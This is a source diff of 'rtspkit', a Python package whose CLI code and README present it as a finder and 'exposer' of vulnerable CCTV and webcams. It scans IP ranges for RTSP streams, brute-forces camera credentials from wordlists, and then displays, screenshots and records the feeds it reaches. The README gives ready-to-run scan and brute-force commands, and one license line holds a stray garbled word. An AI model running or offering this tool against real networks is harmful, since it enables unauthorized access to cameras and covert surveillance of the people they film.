+ if duration_sec and (time.time() - start_time > duration_sec):
755
+ break
756
+
757
+ ret, frame = cap.read()
758
+ if not ret or frame is None:
759
+ print(f"{Color.WARN}[!] Stream ended or interrupted.{Color.RESET}")
760
+ break
761
+
762
+ if recording and rec_writer:
763
+ rec_writer.write(frame)
764
+
765
+ display_frame = cv2.resize(frame, (500, 500))
766
+
767
+ overlay_text = f"{selected_cam.ip} ({selected_cam.width}x{selected_cam.height})" if selected_cam.width else selected_cam.ip
768
+ if recording:
769
+ cv2.circle(display_frame, (30, 30), 10, (0, 0, 255), -1)
770
+ cv2.putText(display_frame, f"REC {overlay_text}", (50, 38), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
771
+ else:
772
+ cv2.putText(display_frame, overlay_text, (20, 40), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 255, 0), 2)
773
+
774
+ window_name = f"RTSP Stream - {selected_cam.ip}"
775
+ cv2.imshow(window_name, display_frame)
776
+
777
+ key = cv2.waitKey(30) & 0xFF
778
+ if key in (ord('q'), ord('Q'), 27) or cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE) < 1:
779
+ break
780
+ elif key == ord('s') or key == ord('S'):
781
+ fn = f"rtsp_cam_{selected_cam.ip}_{int(time.time())}.png"
782
+ cv2.imwrite(fn, display_frame)
783
+ print(f"{Color.SUCCESS}[✓] Saved screenshot: {fn}{Color.RESET}")
784
+ elif key == ord('r') or key == ord('R'):
785
+ if not recording:
786
+ rec_filename = f"record_{selected_cam.ip}_{int(time.time())}.mp4"
787
+ w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) or 1280
788
+ h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) or 720
789
+ fps = float(cap.get(cv2.CAP_PROP_FPS)) or 20.0
790
+ fourcc = cv2.VideoWriter_fourcc(*'mp4v')
791
+ rec_writer = cv2.VideoWriter(rec_filename, fourcc, fps, (w, h))
792
+ recording = True
793
+ print(f"\n{Color.SUCCESS}[● STARTED RECORDING] Saving stream to {rec_filename}{Color.RESET}")
794
+ else:
795
+ recording = False
796
+ if rec_writer:
797
+ rec_writer.release()
798
+ rec_writer = None
799
+ print(f"\n{Color.SUCCESS}[■ STOPPED RECORDING] Saved to {rec_filename}{Color.RESET}")
800
+
801
+ if rec_writer:
802
+ rec_writer.release()
803
+ cap.release()
804
+ cv2.destroyAllWindows()
805
+ print(f"{Color.SUCCESS}[✓] Playback finished.{Color.RESET}")
806
+
807
+
808
+ def export_results(cameras: List[CameraInfo], output_path: str):
809
+ """Exports discovered working camera details to JSON, CSV, or TXT."""
810
+ if not output_path:
811
+ return
812
+
813
+ ext = os.path.splitext(output_path)[1].lower()
814
+ cam_dicts = [asdict(c) for c in cameras]
815
+
816
+ try:
817
+ if ext == ".json":
818
+ with open(output_path, "w") as f:
819
+ json.dump(cam_dicts, f, indent=4)
820
+ elif ext == ".csv":
821
+ if cam_dicts:
822
+ with open(output_path, "w", newline="") as f:
823
+ writer = csv.DictWriter(f, fieldnames=cam_dicts[0].keys())
824
+ writer.writeheader()
825
+ writer.writerows(cam_dicts)
826
+ else:
827
+ with open(output_path, "w") as f:
828
+ for cam in cameras:
829
+ f.write(f"{cam.url}\n")
830
+
831
+ print(f"{Color.SUCCESS}[✓] Successfully exported {len(cameras)} camera record(s) to '{output_path}'{Color.RESET}")
832
+ except Exception as e:
833
+ print(f"{Color.ERROR}[!] Error exporting results to {output_path}: {e}{Color.RESET}")
834
+
835
+
836
+ def interactive_menu():
837
+ """Interactive CLI menu when no command line arguments are supplied."""
838
+ print(f"{Color.BLUE}{'=' * 60}")
839
+ print(f"{Color.MAGENTA} RTSP Kit - Advanced Scanner & Multi-Camera Viewer")
840
+ print(f"{Color.BLUE}{'=' * 60}{Color.RESET}")
841
+
842
+ target = input(f"\n{Color.INFO}Enter target IP, Range, CIDR, or batch text file (e.g. 192.168.1.0/24 or targets.txt): {Color.RESET}").strip()
843
+ if not target:
844
+ print(f"{Color.ERROR}[!] Target required. Exiting.{Color.RESET}")
845
+ return
846
+
847
+ port = 554
848
+ paths = DEFAULT_RTSP_PATHS
849
+
850
+ enable_brute_input = input(f"{Color.INFO}Enable credential brute-force for locked cameras? (y/N): {Color.RESET}").strip().lower()
851
+ enable_brute = (enable_brute_input == 'y')
852
+
853
+ user_file = None
854
+ pass_file = None
855
+ if enable_brute:
856
+ uf = input(f"{Color.INFO}Path to username wordlist file [Press Enter for defaults]: {Color.RESET}").strip()
857
+ user_file = uf if uf else None
858
+ pf = input(f"{Color.INFO}Path to password wordlist file [Press Enter for defaults]: {Color.RESET}").strip()
859
+ pass_file = pf if pf else None
860
+
861
+ creds = None
862
+ if not enable_brute:
863
+ creds = input(f"{Color.INFO}Enter specific RTSP credentials user:pass (Press Enter to skip): {Color.RESET}").strip() or None
864
+
865
+ user_list = load_wordlist(user_file, DEFAULT_USERNAMES)
866
+ pass_list = load_wordlist(pass_file, DEFAULT_PASSWORDS)
867
+
868
+ scanner = RTSPScanner(
869
+ port=port,
870
+ timeout=3.0,
871
+ threads=50,
872
+ credentials=creds,
873
+ user_list=user_list,
874
+ pass_list=pass_list,
875
+ enable_brute=enable_brute
876
+ )
877
+ all_cameras = scanner.run_scan(target, paths)
878
+ working_cameras = [c for c in all_cameras if c.working]
879
+
880
+ print(f"\n{Color.HEADER}====== Scan Complete: Discovered {len(all_cameras)} Camera Host(s) ======{Color.RESET}")
881
+ for i, cam in enumerate(all_cameras, 1):
882
+ res = f" ({cam.width}x{cam.height})" if cam.width else ""
883
+ if cam.auth_status == "OPEN":
884
+ print(f"{i}. {Color.SUCCESS}[OPEN] {cam.ip}{res} -> {cam.url}{Color.RESET}")
885
+ elif cam.auth_status.startswith("UNLOCKED"):
886
+ print(f"{i}. {Color.INFO}[{cam.auth_status}] {cam.ip}{res} -> {cam.url}{Color.RESET}")
887
+ else:
888
+ print(f"{i}. {Color.WARN}[LOCKED] {cam.ip} -> Authentication required{Color.RESET}")
889
+
890
+ if not working_cameras:
891
+ print(f"\n{Color.WARN}No accessible (OPEN/UNLOCKED) RTSP streams found for video preview.{Color.RESET}")
892
+ return
893
+
894
+ export_ans = input(f"\n{Color.INFO}Save results to file? (e.g. cameras.json, cameras.txt, cameras.csv) [Enter to skip]: {Color.RESET}").strip()
895
+ if export_ans:
896
+ export_results(all_cameras, export_ans)
897
+
898
+ print(f"\n{Color.MAGENTA}Select Viewer Mode:{Color.RESET}")
899
+ print("1. Open Camera by ID (Timed 10s/30s/1m preview or VLC Player)")
900
+ print("2. PiP Multi-Camera Grid View")
901
+ print("3. Interactive Cycle Stream Viewer (Next/Prev)")
902
+ print("4. Exit")
903
+ choice = input(f"{Color.INFO}Choice (1-4) [Default: 1]: {Color.RESET}").strip()
904
+
905
+ if choice == "2":
906
+ grid = GridRenderer(working_cameras, cols=3)
907
+ grid.start_preview()
908
+ elif choice == "3":
909
+ viewer = SingleStreamViewer(working_cameras)
910
+ viewer.start_viewing()
911
+ elif choice == "4":
912
+ print(f"{Color.INFO}Exiting RTSP Kit.{Color.RESET}")
913
+ else:
914
+ open_single_camera_by_id(working_cameras)
915
+
916
+
917
+ def main():
918
+ parser = argparse.ArgumentParser(
919
+ description="RTSP Kit - High-performance RTSP scanner, stream validator, brute-forcer, multi-camera viewer, and recorder."
920
+ )
921
+ parser.add_argument("target", nargs="*", help="IP(s), CIDR ranges (e.g. 192.168.1.0/24), IP ranges, or text files")
922
+ parser.add_argument("-f", "--targets-file", type=str, help="Batch file containing target IPs/subnets (one per line)")
923
+ parser.add_argument("-p", "--port", type=int, default=554, help="RTSP target port (default: 554)")
924
+ parser.add_argument("-t", "--threads", type=int, default=50, help="Concurrent scanner threads (default: 50)")
925
+ parser.add_argument("--timeout", type=float, default=3.0, help="Socket & RTSP connection timeout (default: 3.0s)")
926
+ parser.add_argument("-c", "--credentials", type=str, help="Single RTSP authentication pair user:pass")
927
+ parser.add_argument("-b", "--brute", action="store_true", help="Enable credential brute-forcing for LOCKED streams")
928
+ parser.add_argument("-U", "--user-file", type=str, help="File containing usernames for brute forcing")
929
+ parser.add_argument("-P", "--pass-file", type=str, help="File containing passwords for brute forcing")
930
+ parser.add_argument("--probe-paths", action="store_true", help="Probe popular camera RTSP subpaths (/h264, /live/ch0, etc.)")
931
+ parser.add_argument("-o", "--output", type=str, help="Output file path (.json, .csv, or .txt)")
932
+ parser.add_argument("--mode", choices=["grid", "single", "record", "scan-only"], default="grid", help="Execution mode (default: grid)")
933
+ parser.add_argument("--rec-duration", type=int, help="Recording duration in seconds for record mode")
934
+ parser.add_argument("--grid-cols", type=int, default=3, help="Number of columns for PiP grid (default: 3)")
935
+
936
+ args = parser.parse_args()
937
+
938
+ if not args.target and not args.targets_file:
939
+ interactive_menu()
940
+ return 0
941
+
942
+ targets_input_list = list(args.target) if args.target else []
943
+ if args.targets_file:
944
+ targets_input_list.append(args.targets_file)
945
+
946
+ combined_targets = ",".join(targets_input_list)
947
+
948
+ paths = DEFAULT_RTSP_PATHS if args.probe_paths else ["", "/"]
949
+ user_list = load_wordlist(args.user_file, DEFAULT_USERNAMES)
950
+ pass_list = load_wordlist(args.pass_file, DEFAULT_PASSWORDS)
951
+
952
+ enable_brute = args.brute or bool(args.user_file or args.pass_file)
953
+
954
+ scanner = RTSPScanner(
955
+ port=args.port,
956
+ timeout=args.timeout,
957
+ threads=args.threads,
958
+ credentials=args.credentials,
959
+ user_list=user_list,
960
+ pass_list=pass_list,
961
+ enable_brute=enable_brute
962
+ )
963
+ all_cameras = scanner.run_scan(combined_targets, paths)
964
+ working_cameras = [c for c in all_cameras if c.working]
965
+
966
+ print(f"\n{Color.BLUE}====== Scan Complete: Discovered {len(all_cameras)} Camera Host(s) ======{Color.RESET}")
967
+ for cam in all_cameras:
968
+ res = f" ({cam.width}x{cam.height})" if cam.width else ""
969
+ if cam.auth_status == "OPEN":
970
+ print(f"{Color.SUCCESS}[OPEN] {cam.ip}{res} -> {cam.url}{Color.RESET}")
971
+ elif cam.auth_status.startswith("UNLOCKED"):
972
+ print(f"{Color.INFO}[{cam.auth_status}] {cam.ip}{res} -> {cam.url}{Color.RESET}")
973
+ else:
974
+ print(f"{Color.WARN}[LOCKED] {cam.ip} -> Authentication required{Color.RESET}")
975
+
976
+ if args.output and all_cameras:
977
+ export_results(all_cameras, args.output)
978
+
979
+ if not working_cameras:
980
+ print(f"{Color.WARN}[!] No accessible (OPEN/UNLOCKED) RTSP video streams found.{Color.RESET}")
981
+ return 0
982
+
983
+ if args.mode == "grid":
984
+ grid = GridRenderer(working_cameras, cols=args.grid_cols)
985
+ grid.start_preview()
986
+ elif args.mode == "single":
987
+ viewer = SingleStreamViewer(working_cameras)
988
+ viewer.start_viewing()
989
+ elif args.mode == "record":
990
+ for cam in working_cameras:
991
+ record_stream(cam, duration_sec=args.rec_duration)
992
+ elif args.mode == "scan-only":
993
+ print(f"{Color.SUCCESS}[*] Scan complete.{Color.RESET}")
994
+
995
+ return 0
996
+
997
+ if __name__ == "__main__":
998
+ sys.exit(main())
@@ -0,0 +1,215 @@
1
+ Metadata-Version: 2.4
2
+ Name: rtspkit
3
+ Version: 1.0.0
4
+ Summary: RTSPKit is a powerful vulnerable CCTV & WebCam finder, stream validator, and exposer.
5
+ Home-page: https://github.com/babaralijamali/rtspkit
6
+ Author: Babar Ali Jamali
7
+ Author-email: Babar Ali Jamali <babar994@gmail.com>
8
+ License-Expression: MIT
9
+ Project-URL: Homepage, https://github.com/babaralijamali/rtspkit
10
+ Project-URL: Repository, https://github.com/babaralijamali/rtspkit
11
+ Keywords: rtsp,camera,ip-camera,scanner,opencv,stream-viewer,bruteforce,pip-grid
12
+ Classifier: Development Status :: 5 - Production/Stable
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: Intended Audience :: System Administrators
15
+ Classifier: Topic :: Multimedia :: Video :: Display
16
+ Classifier: Topic :: Security
17
+ Classifier: Topic :: System :: Networking :: Monitoring
18
+ Classifier: Programming Language :: Python :: 3
19
+ Classifier: Programming Language :: Python :: 3.8
20
+ Classifier: Programming Language :: Python :: 3.9
21
+ Classifier: Programming Language :: Python :: 3.10
22
+ Classifier: Programming Language :: Python :: 3.11
23
+ Classifier: Programming Language :: Python :: 3.12
24
+ Classifier: Programming Language :: Python :: 3.13
25
+ Classifier: Programming Language :: Python :: 3.14
26
+ Requires-Python: >=3.8
27
+ Description-Content-Type: text/markdown
28
+ License-File: LICENSE
29
+ Requires-Dist: opencv-python>=4.5.0
30
+ Requires-Dist: numpy>=1.20.0
31
+ Requires-Dist: colorama>=0.4.0
32
+ Dynamic: author
33
+ Dynamic: home-page
34
+ Dynamic: license-file
35
+ Dynamic: requires-python
36
+
37
+ # RTSP Kit (`rtspkit`)
38
+
39
+ [![PyPI Version](https://img.shields.io/pypi/v/rtspkit.svg)](https://pypi.org/project/rtspkit/)
40
+ [![Python Versions](https://img.shields.io/pypi/pyversions/rtspkit.svg)](https://pypi.org/project/rtspkit/)
41
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
42
+
43
+ **RTSPKit is a powerful vulnerable CCTV & WebCam finder, stream validator, and exposer.** It is a high-performance network scanner designed to discover, validate, audit credentials, render multi-camera video feeds, and record live RTSP video streams across IP networks.
44
+
45
+ ---
46
+
47
+ ## Key Features
48
+
49
+ - **Parallel Port & Stream Validation**: High-concurrency network socket scan and RTSP stream verification.
50
+ - **RTSP Subpath Probing**: Automatic route scanning for popular IP camera routes (`/h264`, `/live/ch0`, `/stream1`, `/onvif1`, etc.).
51
+ - **Credential Brute-Forcing**: Custom credential pair testing and dictionary attack modes for locked camera streams.
52
+ - **Non-Blocking Multi-Camera Grid View**: Real-time Picture-in-Picture (PiP) layout renderer powered by background frame readers.
53
+ - **Stream Recording Mode**: Timed or manual on-demand recording of live RTSP streams to `.mp4` video files.
54
+ - **VLC Integration**: Launch streams directly inside external VLC Media Player.
55
+ - **Metadata Extraction & Export**: Automatically logs video resolution and FPS metadata to JSON, CSV, or TXT formats.
56
+ - **CLI & Python API**: Fully operational as both a command-line tool (`rtspkit`) and a Python library module (`import rtspkit`).
57
+
58
+ ---
59
+
60
+ ## Installation
61
+
62
+ Install `rtspkit` directly from PyPI using `pip`:
63
+
64
+ ```bash
65
+ pip install rtspkit
66
+ ```
67
+
68
+ ---
69
+
70
+ ## Quickstart & Usage
71
+
72
+ ### 1. Command Line Interface (CLI)
73
+
74
+ #### Interactive Mode (Wizard)
75
+ Run `rtspkit` without positional parameters to open the step-by-step interactive setup wizard:
76
+ ```bash
77
+ rtspkit
78
+ ```
79
+
80
+ #### Basic Subnet Scan & Multi-Camera Grid View
81
+ Scan a `/24` subnet and launch a 3-column PiP video grid:
82
+ ```bash
83
+ rtspkit 192.168.1.0/24
84
+ ```
85
+
86
+ #### Path Probing & Dictionary Brute-Force
87
+ Probe common RTSP paths and execute credential brute-forcing:
88
+ ```bash
89
+ rtspkit 192.168.1.0/24 --probe-paths -b -U usernames.txt -P passwords.txt -o results.json
90
+ ```
91
+
92
+ #### Single Camera Inspector Mode
93
+ Interactive stream reader (`n` = next, `p` = previous, `s` = screenshot, `r` = record, `q` = quit):
94
+ ```bash
95
+ rtspkit 192.168.1.0/24 --mode single
96
+ ```
97
+
98
+ #### Record Live Streams
99
+ Record active streams for 30 seconds:
100
+ ```bash
101
+ rtspkit 192.168.1.50 --mode record --rec-duration 30
102
+ ```
103
+
104
+ ---
105
+
106
+ ### 2. Programmatic Python API
107
+
108
+ You can also import and use `rtspkit` inside your own Python projects:
109
+
110
+ ```python
111
+ from rtspkit import RTSPScanner, GridRenderer, SingleStreamViewer
112
+
113
+ # Initialize scanner
114
+ scanner = RTSPScanner(port=554, timeout=3.0, threads=50)
115
+
116
+ # Scan target IP network or host list
117
+ cameras = scanner.run_scan(targets=["192.168.1.100"], paths=["", "/live/ch0"])
118
+
119
+ for cam in cameras:
120
+ if cam.working:
121
+ print(f"Found camera at {cam.ip}: {cam.url} ({cam.width}x{cam.height})")
122
+
123
+ # Launch PiP Grid view if cameras found
124
+ working = [c for c in cameras if c.working]
125
+ if working:
126
+ grid = GridRenderer(working, cols=3)
127
+ grid.start_preview()
128
+ ```
129
+
130
+ ---
131
+
132
+ ## Command Line Flags Reference
133
+
134
+ | Flag | Long Flag | Description | Default |
135
+ | --- | --- | --- | --- |
136
+ | `target` | Positional | Target IP, CIDR subnet (`192.168.1.0/24`), range (`192.168.1.1-50`), or target file | Interactive |
137
+ | `-f` | `--targets-file` | File containing batch list of target IPs/subnets | `None` |
138
+ | `-p` | `--port` | Target RTSP TCP port | `554` |
139
+ | `-t` | `--threads` | Number of concurrent worker threads | `50` |
140
+ | `--timeout` | `--timeout` | Network socket and stream timeout (seconds) | `3.0` |
141
+ | `-c` | `--credentials` | Single `user:pass` authentication pair | `None` |
142
+ | `-b` | `--brute` | Enable dictionary brute-forcing for LOCKED streams | `False` |
143
+ | `-U` | `--user-file` | Path to custom usernames list | Built-in list |
144
+ | `-P` | `--pass-file` | Path to custom passwords list | Built-in list |
145
+ | `--probe-paths` | `--probe-paths` | Probe popular RTSP camera paths (`/h264`, `/live/ch0`, etc.) | `False` |
146
+ | `-o` | `--output` | Save results to file (`.json`, `.csv`, `.txt`) | `None` |
147
+ | `--mode` | `--mode` | Execution mode (`grid`, `single`, `record`, `scan-only`) | `grid` |
148
+ | `--grid-cols` | `--grid-cols` | Number of columns in PiP grid preview | `3` |
149
+ | `--rec-duration`| `--rec-duration`| Duration in seconds for stream recording | `30` |
150
+
151
+ ---
152
+
153
+ ## Step-by-Step PyPI Publishing Guide
154
+
155
+ Follow these steps to publish `rtspkit` to the Python Package Index (PyPI):
156
+
157
+ ### 1. Prerequisites
158
+ Ensure you have `build` and `twine` installed:
159
+ ```bash
160
+ pip install --upgrade build twine
161
+ ```
162
+
163
+ ### 2. Create a PyPI Account & API Token
164
+ 1. Register an account on [PyPI (pypi.org)](https://pypi.org/account/register/).
165
+ 2. Go to **Account Settings** -> **API Tokens** and generate a new API token with `Entire account` or `Project` scope.
166
+ 3. Copy your generated token (starts with `pypi-`).
167
+
168
+ ### 3. Build Source & Wheel Packages
169
+ Navigate into the `rtspkit` root directory containing `pyproject.toml` and run:
170
+ ```bash
171
+ python -m build
172
+ ```
173
+ *(Or legacy build command: `python setup.py sdist bdist_wheel`)*
174
+
175
+ This creates distribution files in the `dist/` directory:
176
+ - `dist/rtspkit-1.0.0-py3-none-any.whl`
177
+ - `dist/rtspkit-1.0.0.tar.gz`
178
+
179
+ ### 4. Verify Package Build Integrity
180
+ Run `twine check` to ensure your README, metadata, and license format correctly:
181
+ ```bash
182
+ twine check dist/*
183
+ ```
184
+
185
+ ### 5. Test Upload to TestPyPI (Optional but Recommended)
186
+ Publish to TestPyPI first to verify package rendering:
187
+ ```bash
188
+ twine upload --repository testpypi dist/*
189
+ ```
190
+ - **Username**: `__token__`
191
+ - **Password**: `pypi-your-testpypi-api-token`
192
+
193
+ Test installation from TestPyPI:
194
+ ```bash
195
+ pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple rtspkit
196
+ ```
197
+
198
+ ### 6. Publish Package to Official PyPI
199
+ Publish your package live on PyPI:
200
+ ```bash
201
+ twine upload dist/*
202
+ ```
203
+ - **Username**: `__token__`
204
+ - **Password**: `pypi-your-live-pypi-api-token`
205
+
206
+ Once complete, your package will be live on PyPI and installable globally via:
207
+ ```bash
208
+ pip install rtspkit
209
+ ```
210
+
211
+ ---
212
+
213
+ ## License
214
+
215
+ This project is licensed under the [MIT License](LICENSE).
@@ -0,0 +1,9 @@
1
+ rtspkit/__init__.py,sha256=W5_gJQcUvIFoxPXEraG8ZX445KMWis9x8Qb-HmVC1JE,661
2
+ rtspkit/__main__.py,sha256=34eYCObEbNX6Fw8UgQMhT6WNmHb7OgJwbpikjIdb23Y,166
3
+ rtspkit/rtspkit.py,sha256=Q9kci9GFxbLk5oYNCdqvhhCQwTzgz9rErMAfTwIyOLA,41243
4
+ rtspkit-1.0.0.dist-info/licenses/LICENSE,sha256=u7e5MOnru6PmYQa53c_nsnDesQeSKKYX-EADgoJwRKI,1079
5
+ rtspkit-1.0.0.dist-info/METADATA,sha256=bUoMyAm5MLKxNWlw3NsK7UfcZYaj6si4DNYt9lFEL0U,7974
6
+ rtspkit-1.0.0.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
7
+ rtspkit-1.0.0.dist-info/entry_points.txt,sha256=C3kbPBNQb8J10ZQc5uRC_PuvG9YSpJ0MpIBNeh5ajQs,49
8
+ rtspkit-1.0.0.dist-info/top_level.txt,sha256=0rnUIeAQI0ON4tmcU6c_rwIhSdmXETsOnEUSTXzvAac,8
9
+ rtspkit-1.0.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (84.0.0)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ rtspkit = rtspkit.rtspkit:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 RTSP Kit Contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT,Bridge OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1 @@
1
+ rtspkit